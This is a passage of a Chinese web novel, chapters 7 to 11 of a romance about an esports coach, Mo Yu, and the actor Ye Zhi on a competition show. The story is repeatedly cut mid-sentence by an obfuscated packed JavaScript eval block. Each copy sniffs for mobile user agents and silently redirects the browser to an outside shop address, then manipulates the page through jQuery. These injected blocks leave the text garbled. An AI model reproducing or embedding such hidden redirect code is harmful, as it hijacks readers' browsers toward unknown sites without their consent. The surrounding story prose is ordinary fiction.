她笑意盈盈地开口，“感觉有点期待和你们交手。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135408|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是舆论风暴之后，孟茜主动和莫羽说的第一句话，像是抛出的友善橄榄枝。 徐晓慧戳了下莫羽的胳膊，示意她说点什么。 莫羽这才反应过来，“我也是。” 这回答有够苍白无力的。 一旁的徐晓慧差点一口气背过去，她赶紧凑过头笑道，“那预祝前辈这场比赛拿下胜利啦！” 孟茜点点头，站直了身子，眼神却落在了队伍最后的叶之的身上。 双方擦肩而过的时候，她在叶之面前停下，调侃道：“一周没见，大影帝进步神速啊。” 叶之原本还在研究刚才拍下的数据，下一秒就戴上绅士面具。 “主要是教练教的好。” 这话让莫羽直接心跳飙升。她用余光瞄了眼叶之，感觉影帝说这话的时候不似作假。 而且，如果叶之也看到了舆论，那这句话也有帮她说话的意思。 莫羽感觉有万千蚂蚁爬上心头。 她很想直接问叶之，你是不是在帮我回击网友？ 但她依旧不能。 他们现在只是比陌生人更熟悉一点的“同事”，她似乎没有立场，也不该问这么亲密的问题。 “我们Shiny教练也不赖哦。”孟茜右手掌心朝上，做了个请的动作，指向的方向正是Shiny。 Shiny挠挠头，有点儿害羞，赶紧扯开话题，“走了走了，我们先去调试一下设备。” * 穿过曲折的后台通道，莫羽和明星学员们回到了休息室。一场酣畅淋漓的胜利，让大家如释重负。 但这里有节目组提前架好的摄像头，并不算是私密环境。因此，哪怕卸下了负担，大家也没完全瘫倒在沙发上。 休息室的电视屏幕里正在播放胜点和Rainbow战队的部署情况，特写镜头一一从每一个队员面前划过。 得益于高清摄像头，大家的美貌都被放大了。 “哇，原来我们的脸会被放这么大啊！”徐晓慧紧急打开前置摄像头，检查自己的妆容有没有问题。 莫羽和她并排坐在长沙发之上，她安慰道：“你好看着呢。” 倒是夏正晨没有放过任何一个可以夸夸莫羽的机会，就是语气稍显夸张，“感觉莫羽姐真的完全不输明星！” 莫羽实在没心思回答，甩了句“我觉得叶之前辈镜头放大过后，更好看了”，直接让夏正晨当场梗住。 大概是莫名扯了自己，叶之投来一束目光，眼底有探究之意。 莫羽心里慌乱，面上却掩饰得很好。她语气如常地转移话题，“大家认真看，胜点应该是冠军的有力争夺者。” 果然，此话一出，影帝重新将注意力转移回了战场。 呼，莫羽松了一口气。 屏幕里的战况很激烈，胜点并没有如大多数人意料中那般，快速拿下比赛的胜利。 Rainbow依靠配合，开局就差点让胜点损失一名队员。得亏那明星枪法不够准，中弹部位不致命。 休息室里很安静，将屏幕里的游戏背景和提示声都莫名放大了似的。 徐晓慧拍了拍莫羽的肩膀，下巴朝一旁的单人沙发椅的方向抬了抬。 莫羽顺着她指的方向望去，两张单人沙发椅上是截然不同的两幅画面。 里侧的谭山前辈已经闭上双眼，就着激烈的游戏声进入了梦乡。而靠外侧的叶之则几乎是目不转睛盯着屏幕的状态，手上是那支一直带在身边的黑色万宝龙钢笔，时不时在笔记本上写着什么。 “没想到，大影帝这么好学。”徐晓慧压着声音在莫羽耳边说道，“平常他看起来完全不像是会对游戏感兴趣的样子。” “如果不是亲眼所见，我也很难想象。”她也用气声回道。 见识到了偶像不为人知的一面。 接下这个节目，果然是她近期做得最正确的一个决定。 8. 暗恋第八天 短暂的八卦之后，两人继续关注着屏幕上的比赛战况。 要不说姜还是老的辣呢！胜点有Shiny这枚老将，那简直是如有一宝。他们顺利在后期顶住压力，一举偷袭成功。 “大、开、眼、界！”徐晓慧被Shiny的战术惊呆了，小声吐槽，“就是感觉有点儿不要脸。” “其实挺有借鉴意义的，下次我们也可以尝试。”莫羽认真地评价道。 “那，那...”徐晓慧结巴了两秒，急中生智地挽回，“果然是，兵不厌诈啊！” 莫羽噗嗤一下笑出声。 徐晓慧却是一脸骄傲。 第三场热身练习赛的双方是SG和光矢战队，他们在六支队伍中属于中游，两队的实力不相上下。 因此，这场比赛的用时也是三场里最久的，从前期试探到后期火拼，每一个环节都充满了你来我往的拉扯感。 徐晓慧拉着莫羽袖子，瞪大眼睛惊呼，“哇，他们这打得也太难舍难分了吧！” “是菜鸡互啄。”莫羽纠正道。 徐晓慧梗住，“好像在说我自己...” “你现在比他们强了。”莫羽很认真地解释道。 徐晓慧彻底说不出话了，真诚果然是必杀技。 最终，光矢战队在艰难中取得胜利，专业选手活到了最后，以独狼的身份完成以一敌二的反击。 屏幕里的比赛终于画上句号。 莫羽轻轻拍了两下手，将睡着的和入神的都唤了回来。 “我们复盘一下吧。” 谭山睡眼惺忪，掩嘴打了个哈欠，“还是你们年轻人精神。” 他看向一旁精神头十足的叶之，话里的年轻人指的自然是他。 “在这里吗？”夏正晨问。 “这个能回放吗？”不在自己俱乐部，莫羽有些无所适从。她朝节目组安排的摄像大哥和编导投去询问的眼神。 “刚才那是直播信号。”小编导和耳麦里的领导确认了一下，“老师不好意思啊。” 莫羽愣了一下。 好吧，她对综艺节目拍摄的流程实在没什么了解。 “啊...那就简单说一下我们自己刚才那局吧。”莫羽没辙，试探着确认道，“大家应该还有印象吧？” 大家纷纷点头，莫羽松了口气。 她看了一眼叶之，发现影帝已经将笔记本摊开，黑色的钢笔在指节分明的手指间转了一圈。 莫羽因为没法回放视频，讲话有些磕磕巴巴。 但三五句过后，她就恢复了底气。毕竟回到自己舒适圈，她原本有些僵硬的肢体和无处安放的手指也逐渐变得舒展和自然。 作为专业选手，莫羽的记忆力堪称一绝，她的脑袋像是录了像一般，将此前比赛的细节一一复述。有的地方按下加速键，有的地方则是慢放，详略得当的解释，娓娓道来的语调，让人如沐春风。 虽说没能有另外两队的录像做辅助，但她还是凭借记忆力，在两场战斗的地图上，完美还原了战斗的要点。连带着每张地图需要注意的地方和可以实行的战术，她也没有落下。 “对废弃工厂这张图，大家还有什么问题吗？”莫羽看了眼时钟，发现自己竟然不知不觉又讲了半个多小时，“抱歉，可能讲得有点久。” “没有没有，讲得太清楚了！”徐晓慧看出了她的局促，连忙出声安慰。 夏正晨不甘人后，也甜甜地夸道：“莫羽姐真的很厉害！” 连谭山都笑呵呵地给她竖起大拇指。 但莫羽心里最期待的，自然是来自叶之的那句回答。 一秒在空气中被拉得无限长。 “谢谢教练。”叶之终于在耳边如约响起，好听得像是玻璃杯碰杯的叮当声。 而他的眼神里则满是对莫羽业务能力的肯定。 莫羽不禁勾起嘴角。 做一个偶像信任的好教练，这就是她的荣幸！ * 节目组录制完热身对抗赛和每个队伍的单独复盘之后，又拉着大家录制花絮和采访。 布置、补妆、休息、开机，时间一下从白天跃到了黑夜。 叶之从采访的小黑屋里走出来，莫羽坐在门口，低着头起身准备进屋，两人一下撞了个正着。 “叶之前辈。”莫羽微微蹙起眉头，“您这么晚才轮到吗？” 节目组通常会按照咖位安排后采顺序，比起明星，他们这些电竞选手总是会被放在后面，几乎每一回都已经是半夜的最后几人。 所以，叶之被放在最后这件事，实在有些反常。 “我和Daysee换了顺序，正好又练一会儿。”叶之解释道。 那就说得通了。Daysee是个新手奶爸，回家太晚也不好。 果然是自己偶像，高冷外表下藏着一颗温暖的心。 莫羽正准备进去小黑屋，叶之就先一步绅士地为她推开了门。 但明明只是给她开个门而已，配上叶之这打扮和气质，就愣是把这破木板门，开出了千万豪车车门的气质。 “谢谢前辈。”莫羽低头掩饰自己悸动的心跳，快速钻进了房间。 一进门，节目组的导演就看出了她的异样，“莫羽老师，你怎么脸这么红啊？” “我比较怕热。”说着，莫羽掩饰地拿手作扇，给自己扇风。 导演组抬头看了一眼窗外皎洁的月亮，脸上带着一丝狐疑。虽说是夏天，但这大半夜的，也不至于热啊... 莫羽状似从容地坐下，出声打断，“不问问题吗？” “哦哦，我们是有几个问题要问莫羽老师。”导演们将目光收回到手中的台本，“您对网上对您和孟茜老师关系的讨论，怎么看？” 一上来，这问题就挺难答。 “我很喜欢孟茜老师，大家没必要捕风捉影吧？” 莫羽以前特别不会回答这类尖锐问题，要不就是沉默，要不就是过于直白，好几次上了热门。后来，领队实在看不下去，给所有人安排了媒体发言课程，教了些聊胜于无的小技巧。于是，她感觉自己渐渐戴上了一层面具。 逐渐学会了官方发言的莫羽，却让一些粉丝开始怀念从前那个横冲直撞的她。有些人表示，以前的莫羽更真实。 莫羽当然知道，展示在公众面前的她，不算是完整的她。但是，她好像已经逐渐习惯了这一切。每个月直播，带着队员训练，在联赛里杀敌，回答记者问题，所有的事情变成了一种惯例。 随后的十分钟里，导演组不断尝试着突破莫羽的防线，但都没能成功。 “那今天谢谢莫羽老师。”无奈，他们结束了采访环 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她抬眼回忆了下刚才的场景，叹气，“有点儿吧。” “和我说说？”叶之做了个请的动作，“正好今晚天气不错。” 莫羽心里还有点犹豫，自己该不该和偶像三更半夜逛花园，但脚却动得很实诚，亦步亦趋跟着叶之出了大楼。 月上树梢，人影绰约，夜风吹拂过发梢，似乎要将烦恼也一并吹之脑后。 莫羽深深吸了一口略带凉意的空气，又重重将浊气排出。 半晌，她踩着自己的影子，鬼使神差地吐露心声，“你说，戴上面具，究竟是好事还是坏事？” 叶之的脚步一怔，转过身子，双手依然插在兜里，“自己开心就是好事，不开心便是坏事。” “这么简单？”这次轮到莫羽停下脚步。 “如果你指的是采访问题，那就是这么简单。”叶之一语道破，“毕竟，电竞选手最重要的，是打好比赛，不是吗？” “嗯。”莫羽轻笑，踢了下路上散落的小石子，“你说得对。” 小石子一下滚进了一旁的草丛中，没了身影。 大概是夜黑风高壮人胆，莫羽侧头望着叶之，说出了心里话，“怪不得你不爱接受采访。” 在莫羽喜欢上叶之以后，她发现自己看到的专访访谈，屈指可数。但叶之也不算是完全消失在公众视野之中，他偶尔会上综艺，在无厘头里浅笑，在观察室里认真分析。 “其实是担心观众太了解我，就没法代入角色了。” 叶之在这个晚上似乎格外健谈。 莫羽心跳砰砰，感觉自己真的在慢慢走进偶像的内心世界。 她又猛喝了一口咖啡，克制自己想说的话，诸如“没有没有，你演什么我都会全身心投入地看”之类的。 见莫羽没说话，叶之以为她还在因为刚才的后采而苦恼，继续补充道：“但你不一样，其实你可以勇敢一点做自己。喜欢你的人，自然会喜欢你。” 说着，叶之举起手中的咖啡罐，邀请莫羽碰杯。 叮—— 易拉罐碰撞，两人在月光下干杯。 9. 暗恋第九天 莫羽回到宿舍后，脑袋里开始无限回放今天晚上的场景，和叶之那句“其实你可以勇敢一点做自己”。 小时候的莫羽和其他孩子不太一样。她不爱说话，是幼儿园里被不受欢迎的小蘑菇，是家长心目中不合群的孤僻儿。比起和大家一起过家家做游戏，她好像对自己的世界更情有独钟。 内向的孩子是会下意识逃避社交的。在她看来，她的学生时代漫长而痛苦，充满了灰色的回忆。同学会因为她的沉默而变本加厉地嘲笑她，老师会因为她平平无奇的成绩而轻视她，父母则会因为她的性格而埋冤她。 很多人异口同声地告诉她，她应该更外向、更好学、更友善...但从来没有人和她说过她只需要做自己。 所以，叶之也许是不经意的一句话，实际上，却像是沙漠里飘来的一滴雨，是拨开云雾终见到的阳光。 那种感觉和当年莫羽第一次在荧幕上遇见叶之的时候一模一样。在无数个灰色的校园生活里，叶之的角色是点亮她人生的一抹亮色。 叶之在他的出道作品《第一定理》里饰演了一名天才数学家。他绝顶聪明，仿佛天生就是为研究那些复杂的数学问题而生；但他又极不合群，和世俗意义的正常没有半点联系。 莫羽是在周末的电影院里和叶之第一次见面的。 那时候她一个人去看电影，却意外被角落里那张叶之的海报吸引了全部注意力。海报上，穿着白衬衫带着黑框眼镜的叶之，正侧着身在黑板上密密麻麻演算着什么，他的眼神清澈、坚定，一下击中了莫羽的心。 而电影里那些因为天才而与其他人格格不入，甚至遭到欺侮的画面，更是让曾经的莫羽为之揪心。 她也很羡慕，羡慕那个孤独的天才找到了属于自己的宇宙，留下了闪耀的星光。而她自己，仍旧是一个平平无奇的女生。 但她想，她永远也不会忘记叶之的那句台词，那句几乎支撑着她走出整片灰暗的光源。 “算到算不出来的时候，再多算一步，答案便就在眼前了。” 从那天起，叶之成了黑夜里的月亮，成了莫羽糟糕日子里的救赎。 好在，莫羽终于遇到了属于她的数学——电竞。 她变得自信了许多，她发现自己好像特别有天赋，她收获了众人的夸奖，收获了聚光灯的瞩目，也收获了父母久违的认可。 莫羽觉得自己化身电影主人公，找到了属于自己的答案之路。 大家对她的期待变成了要成为更独当一面的狙击手，成为替队友遮风挡雨的可靠队长，成为电竞第一女选手。她承载了太多人的太多希冀，却依然没有一人让她做自己。 想着，莫羽从座位上起身，翻找到了抽屉最底下的那张电影碟片，轻轻推进了读碟机器。那是叶之的《第一定理》，是她在很多歌辗转难眠的午夜的摇篮曲。 * 第二天，莫羽再次顶着黑眼圈迷迷糊糊地坐到了化妆间。 “哇，这都第二次了吧！”录制了两周的节目，化妆师小姐姐逐渐和莫羽熟稔起来，说话也亲密了许多，“要不是你还年轻，皮肤真的不经这么糟蹋哦。” 莫羽感受着海绵狠狠拍打在脸上的触感，心想，两次失眠好像都是因为叶之来着。 “昨天喝了咖啡，那只好多遮一遮了。”莫羽道。 化妆师姐姐的脸上露出一抹惊讶之色，“看来心情还不错嘛！今天都会开玩笑了。” 莫羽这才意识到，这句话并不在以前的自己的语言体系之中。或者换句话说，她通常只会沉默地点头应下，不会解释，也甚少带着情绪。 她笑着摇摇头，“可能是昨天的咖啡确实好喝吧。” “我们这荒郊野岭的，附近有什么好喝的咖啡厅吗？”化妆师小姐姐纳闷。 “门口自动贩售机的。” “我算是服了你这口味了，那个罐装咖啡可是齁甜啊！” 莫羽想了一下，又是一语双关，“确实挺甜的。” “算了算了，你开心就好～”化妆师小姐姐继续着手上的工作，不一会儿，就将黑眼圈遮得干干净净。 她给莫羽展示了一下自己的成果，“下次可别再半夜捉鬼了哦。” “一定早点睡！” 莫羽看着镜子里妆容精致的自己，回以热烈的微笑。 * 演播室的白炽灯炙热地烤在头发上，加上主持人嘴里高昂的介绍词，一种紧张焦灼的感觉瞬间被具象化。 “热身赛之后，《冠军狙击》的正赛阶段就正式开始了！六位来自明星战队的金牌教练将带领各自的明星队伍，在为期两周的比赛中决出胜负。究竟谁能摘下最后的桂冠，让我们拭目以待。”主持人带动着全场人的气氛。 莫羽突然感觉到身旁升起一股炙热。她侧目，发现昨晚还文质彬彬和她干杯的偶像，现在正虎视眈眈注视着主持人旁展示的冠军奖杯。 冠军奖杯是节目组耗巨资打造的，听导演组介绍，这可是真金白银的杯身，外面还镶有红宝石，关了灯估计都闪闪发光。明明是听上去就容易显得土气的搭配，但在设计师的手下却完美融合，精致大方。 “哇，现实见到还是有点震撼。”徐晓慧张大嘴巴，“节目组真的好有钱...” “嗯，我们职业联赛的金杯和这比起来，简直是个玩具。”莫羽补充道。 夏正晨也被这光芒盖了眼，一脸羡慕，“这一定很贵吧？！” “那肯定啊。”徐晓慧啧了一声。 正当莫羽以为夏正晨对叶之的“一往情深”结束的时候，话题就从他嘴里转了弯。 “叶前辈，这个奖杯和您之前拿到的那些比起来，如何呀？” 叶之收回落在奖杯上那野心勃勃的视线，“奖杯柜里正缺一个这样的。” 然后，他带着浅笑，将那递来的匕首转了向。 “不过比你之前拿的那个，叫什么来着..."叶之思考着推了下金边眼镜，唇边勾起笑意，继续道，“哦，四月最佳主唱。那我之前拿的那些应该是贵一点的。” 此话一出，夏正晨脸色肉眼可见变难看了。 熟悉一点情况的人都知道，所谓的四月最佳主唱这个头衔，来自某网络视频平台的某打歌节目，而每个月颁发的奖项数目之繁多令人咋舌，被粉丝戏称为“分猪肉”大奖。 至于那奖杯么，看上去就挺廉价批发款的，甚至连镀金都算不上。 因此，莫羽合理怀疑，叶之这话是故意问的。 不过她决定鼓励一下大家，便说道：“没关系，这次这个奖杯，我们肯定能一起带回去。” 叶之听完之后没忍住，噗嗤一下笑了。 他右手握拳掩在唇前轻咳，道了声“抱歉”，尽管这两个字怎么听也没有对不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135410|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意思。 莫羽有点儿摸不着头脑，她疑惑地看向徐晓慧，收获了同样让人困惑的笑意。甚至连不参与纷争的谭山，也展现了他的招牌笑容。 莫羽不得不认真思考了一下自己刚才的话，但仍然没想通笑点在哪。 算了，不想了。 正巧，台上的主持人提到了第一轮的对阵，将莫羽的注意力全部吸引了过去。 “Wings循环赛第一轮的对手将迎来胜点，两队此前在热身赛中都有着亮眼的表现。而plumage莫羽和Shiny这对老对手，将迎来特别的再次对决。” 大屏幕上众人的头像一一展现，那炫酷的对决特效更加烘托了紧张的氛围。 “哇，你和Shiny竟然是这种相爱相杀的关系？”徐晓慧的脸上写满了八卦二字，“这个cp很好磕诶！” 莫羽无奈，低头轻声回道：“但可惜，我有喜欢的人了。” 徐晓慧愣住，“啊？” “不过严格来说，并不算是男女的那种喜欢。”莫羽纠正。 徐晓慧眼中的八卦之火瞬间熄灭，她撇撇嘴。 “那就是偶像咯？不过，你这样的人居然也追星，还挺稀奇。” * 循环赛的第一场，终于在电竞大厦的宽敞明亮又豪华的演播厅里开打。 首先印入眼帘的左右两边各一排的电竞椅，随着《废土求生》的经典背景音乐，Wings和胜点战队的两队人马气场全开地闪亮登场，然后坐在了自己的位置上。 这种明星聚会的游戏，最容易就是粉丝争番大战。节目组虽然喜欢搞事，但也不想惹一身骚。为了避免因为座位分配而产生的骂战，节目索性按照游戏位置安排固定座位，那叫一个滴水不漏。 坐在观众席望去，从左到右的位置依次是医疗手、狙击手、坦克、突击手、游走位。 莫羽此刻坐在夏正晨和叶之两人的中间，身体微微有些僵硬，仿佛能够清晰地感觉到两人身上散发的热气，和空气中浮动的若有若无的荷尔蒙气味。 她悄悄长吐了一口气，余光瞥见左手边节目组准备好的碳酸饮料，便忙不迭地伸手去拿。 滋—— 手指触电般的感觉重现。 莫羽一下收回了手臂，赫然抬首，还是叶之。 叶之先一步接触到了瓶身，神情无恙地继续收回手臂。 莫羽这时才扫了一眼桌子，意识到每个人的汽水都被放在了右手边。也就是说，刚才的“事故”，责任方全在自己。 咔——噗呲—— 他手中的瓶盖被轻松拧开，汽水的泡泡瞬间升腾。 莫羽用指骨摸了下鼻头，重新将右手边的饮料瓶拿到手中，装作无事发生地低下头。 “给你。”下一秒，叶之温柔的声音在耳边响起，面前则是已经被拧开瓶盖的饮料。 莫羽抬起头，下意识地接过瓶子。 她想，左右手各揣着一瓶汽水的她，现在看上去应该有点儿傻。 叶之浅笑，轻轻从她手中抽出那瓶没打开过的汽水。 “作为交换，这个归我了。”说着，他晃了晃手中的瓶子。 明明只是汽水瓶的交换，怎么升起了一股莫名的仪式感。 她掩饰地喝了一口，甜味立马从舌尖传递到心间。 她想，咖啡很甜，汽水也是。 10. 暗恋第十天 “离比赛正式开始还有十五分钟，请大家尽快调试设备。” 主持人提醒的声音响起，两队人便急忙动作起来——戴耳机的、调整麦克风音量的、还有各种敲击键盘和测试鼠标灵敏度的。紧张感一点点累积着。 “叶之加油！” “孟茜冲鸭！” “夏正晨你最棒！” ...... 然后是在现场此起彼伏的加油声。粉丝们一个个都卯足了劲儿，似乎只是分贝声的数值也要分个高下。 自从节目进入正式比赛录制的阶段，现场便多了观众观赛。莫羽听着这欢呼声，终于有了打比赛的实感，有那么点联赛的激烈意思在了。 而这现场观赛的三百个稀有名额，在前一周的互联网上就掀起了不小的风浪。 毕竟，明星太多了。各大后援会分到手里的票少得可怜，粉丝们出现在各个抽奖博里努力转发，黄牛手里的票价则翻了好几倍。 “莫羽！” 一声少女的尖叫闯进了莫羽的耳膜。 在一片明星名字之中，这两个字格外清晰。 她有些惊喜地抬头寻找着，却让舞台刺眼的灯光迷失了方向，而那声呼喊也在探寻间被其他粉丝的尖叫淹没。 莫羽难掩失落地收回视线。 “在C区前几排，还举着你的灯牌。”叶之的声音在左耳边响起。 莫羽倏然抬头，按照叶之指示的方向，在刺眼光亮的缝隙朝C区张望。 片刻，灯牌上蓝色的“羽”字终于映入眼帘。 莫羽朝着那位孤零零的粉丝绽放了难得的笑容，又挥了挥手示意。 然后，她才转头朝叶之感激地看了一眼，“谢谢。” 叶之笑而不语地承下，将注意力重新放到了眼前的电脑屏幕和设备调试之上，似乎是做好事不留名的热心市民。 莫羽调整了下耳麦的位置。 “喂喂，大家能听到吗？”她手上也不闲着，灵活敲击着鼠标键盘，以保证赛前最好的状态。 在耳机中听到大家此起彼伏的回应后，莫羽布置道：“我们用废弃工厂这张图，之前把要点都和大家讲过了，应该没问题吧？” “没问题”的回应几乎在同一时间响起。 循环赛采取三局两胜，地图是由每队各选择一次，如比赛进入决胜局，便由系统随机为两队选择，增加刺激度。 废弃工厂是五张地图里规模最小的，但麻雀虽小、五脏俱全——共四层加天台的地图，每一层都有五六间大小不一的房间，中间还有一片堆满了轮胎和柴油桶的广场。 因此，该有的战术花样并没减少。 在此前的训练中，大家练得最多的也是这张图。 众人屏息等待比赛的开始。 根据赛前的抽签结果，Wings战队获得先手选择权，废弃工厂毫无疑问地成为了第一个战场。 出生点是随机的，Wings的出生点在一楼角落的仓库，胜点则是四楼和天台连接的小房间。 开局一分钟，莫羽就干脆地安排完前期的战术，五个人应声利落地兵分三路前进。 徐晓慧是排头兵，她小心地在工厂里溜边查看着，时刻汇报侦查到的情况。 她蹑手蹑脚上了二层，只一抬眼便看到了一道黑影。她一边缩回头，防止被对方察觉，一遍在频道里报告，“有人进了三层左侧第二个房间。” “收到。”莫羽在比赛时的声音比平时更低沉一些，“晓慧你小心一些。” 话音刚落，一个人影就在二楼的对面走廊出现。 是狙击手孟茜！ 只一秒，对方便察觉到了徐晓慧的踪迹，抬手就开了一枪。在明星里，她的盲狙水平可是赫赫有名的强。 如果不是徐晓慧听了莫羽的提醒，眼疾手快地发现了孟茜，并且在她举枪的瞬间撒腿就撤退，估计早就中弹身负重伤了。 “呼...吓死我了。”徐晓慧躲到无人的角落，后怕地拍拍胸脯。 莫羽孤身一人一路爬到了四楼，胜点的队员基本都离出生点有不少距离，最危险的地方竟成了最安全的灯下黑。 “叶之，你右后方有突击手在靠近。”莫羽通过窗口观察，居高临下的俯瞰视角，给队伍带来更多的信息，“你和谭山前辈现在一打二，我觉得可以尝试。” “谢了。”叶之拉着谭山不动声色地寻找遮蔽物，准备合作打个埋伏。 一分钟后，两队第一场正式遭遇战打响。 叶之先是开盾抵挡住对方突击手方景晏最凶猛的第一波进攻。就当盾牌时效结束，方景晏以为自己可以开启杀戮模式的时候，谭山从后方跃出，枪声戳破了他的幻想。 谭山虽然枪法不准，但是这点距离一通无脑按鼠标，也是相当有杀伤力的。 配合着一阵突突突的扫射，只见屏幕上方景晏的血条极速减少。他一个翻滚想要搏一搏逃出生天的那一丝的可能性，却被对面守株待兔的叶之逮个正着。 叶之气定神闲地补了两枪。 屏幕上瞬间出现了“Wings-叶之击杀胜点-方景晏”的提示。 “配合得漂亮！”莫羽夸道。 “谢了～”叶之还是那句台词，但进了莫羽的耳朵里，她便莫名听出了些许按捺不住的得意。那上扬的尾音通过耳机的无损音效加持，霎时让莫羽耳根发红。 原本想说些鼓舞士气的话，也到了嘴边又重新咽了回去。原因无它，主要是莫羽现在没法控制自己的嗓音。 半晌，她用实际行动宣告自己手上的枪法并没有受到任何影响。她在走廊上稳稳地将毫不知情，躲在一楼角落露出半个脑袋的医疗手精准爆头。 当胜点的人反应过来，想要找她算账时，莫羽早就悄无声息地换了位置。 鬼魅的步伐给这废弃工厂更添一抹神秘。 一边倒地收下两个人头之后，Wings仿佛是给游戏按下了加速键，开启了人多势众模式。 夏正晨的声音里有止不住的雀跃，“快让我看看他们都躲在哪里了！我也想拿人头！！” 下一刻，屏幕上再次出现叶之的名字。 “Wings-叶之击杀胜点-孟茜” 不管是场上还是场下，立刻爆发出一阵惊呼。 “我靠！”徐晓慧没忍住，吃瓜的眼神唰的一下投向叶之，“这是什么情况？！” 莫羽刚才在转移阵地，自然也没看到叶之具体的操作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135411|150065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶之正面干掉了孟茜，那是不是证明他俩确实没什么关系？ 她的心间好似有千百只蚂蚁顺势而上，可惜憋了半天，只憋出了句不痛不痒的“漂亮”。 夏正晨的茶言茶语虽迟但到，“叶前辈这么不怜香惜玉啊...” 莫羽从没如此感谢这位在她看来非常不懂说话之道的小爱豆。 她竖起耳朵，屏息等待着叶之的回答。 “我比较讨厌输。”叶之头也没回地继续怼道，“所以这是你一个人头没拿的理由么？” 夏正晨再次被一句话打败，讷讷道，“啊...我会继续努力的。” 完了，还略带撒娇地补充道：“而且，我是医疗兵嘛～” 叶之不说话了，“......” 莫羽想，果然，在自己偶像的心里，比赛的输赢才是永远的第一位。什么男女之情，什么网友磕糖，那统统都是身外之物。 小插曲后，Wings已经迎来了五对二的绝对性领先。 而且，废弃工厂本来是最拿手的地图，Wings战队顺利通过完美的战术实施，没什么悬念地拿下了第一局的开门红，笑容瞬间爬上了每个人的嘴角。 “下一局可能比较艰难，大家再接再厉。” 并不是莫羽想泼冷水，而是Wings有两张地图就是还不够了解，而胜点非常有可能选择。 怕什么，来什么。 胜点立刻选择了丧尸校园地图，而这正是废土求生中唯二的拥有格外第三方npc伤害机制的地图。 徐晓慧扶额，“莫羽你的运气真的很差！下次还是别开口立flag了...” 莫羽尴尬地理了下头发。 “那个，大家注意npc小怪，每3分钟会随机刷一波新的，不要掉以轻心。” 之所以说Wings战队有两张图不了解，就是因为这特别的npc小怪机制。因为时间紧张，莫羽只是匆匆地介绍过小怪机制，在训练赛中有过皮毛的接触和讲解。 距离真正利用好小怪，Wings战队可还有十万八千里远。 不出莫羽所料，战队的形势不太美妙。 首先中招的是操作和观察都不太灵敏的谭山，他先是没注意到背后出现的三五成群的小怪被打成了残血，紧接着就被在暗处等待出手的狙击手孟茜直接带走。 接着送上人头的是被单抓的徐晓慧。 “我真的，明明已经非常小心了！结果还是被他们三个人围攻堵住了！！” “没事。” 但下一秒，莫羽的“事”字就卡在了喉咙口。 因为，大屏幕上叶之出现在了被击杀的那一栏。 “胜点-孟茜击杀Wings-叶之。” 莫羽心道，现在的感觉确实是有点过于复杂了。一方面，她感叹于这场节目大热cp的相爱相杀，双方都毫不留情，另一方面，她现在对于自家队伍不明朗的形势不禁担忧。 大概是被杀得过分干脆利落，身旁的叶之不爽地轻轻啧了一声。 伴随着电流滋滋声的语气词就这么钻进莫羽的耳膜，莫名击中她的心脏。 砰—— 耳边传来划破空气的枪鸣声，打破了莫羽的心思。 11. 暗恋第十一天 莫羽手比脑子快，一个闪身，堪堪避开了擦肩而过的子弹。 定睛一看，对面的突击手方景晏已经举起枪开启了弹雨模式，子弹不要钱似的朝她射击而来。 莫羽一边躲避，一边瞟了一眼屏幕左上角的倒计时。还有10秒，下一轮丧尸就将刷新出厂，而离她最近的刷新点，正是在不远处的体育馆。 “我把方景晏引过去体育馆，你先撤退，注意安全。”莫羽在耳机里朝队里最后的独苗夏正晨嘱咐着。 “好的，莫羽姐。”夏正晨对自己还是挺听话的，她说往东绝不往西，与同叶之抬杠的样子截然不同。 莫羽再次通过走位和遮挡物拉开与方景晏的距离。毕竟，她作为狙击手和突击手打遭遇战，那绝对是下下策。 莫羽不露声色地引导着对方朝体育馆的方向追去，掐着点越过了丧尸刷新点。 方景晏没想到自己眼前突然出现了一堆小怪，有点儿措手不及。他下意识开枪射击，小怪们瞬间一拥而上，更加拦住了他追击莫羽的去路。 莫羽回头看了一眼已经被包围的方景晏，施施然朝着体育馆的另一个出口离开。安全门的那头很暗，体育馆的灯光照不到这里。 下一秒，莫羽从光点处消失，隐入黑暗，消失不见。 “漂亮。”叶之的声音里有藏不住的激动。 在阵亡后，他便全程跟在莫羽视角观赛，莫羽这一手卡小怪刷新的操作，直接让他矜贵公子人设差点掉地。 他看比赛看得更加认真，不放过莫羽的每一个细节操作。 现场导播自然没打算放过这位节目最大流量，频频在大屏幕切叶之的怼脸反应镜头。叶之或因惊叹而挑眉，或因紧张而蹙眉，眼角和嘴角细微的变化牵动着每一个在场粉丝的少女心。 叶之放大的表情有一种特别的魔力，感染着所有关注比赛的人。 莫羽自然是没机会看到这场面的，否则，她怕是也会像台下的粉丝们一样，跟着坐上情绪的过山车。 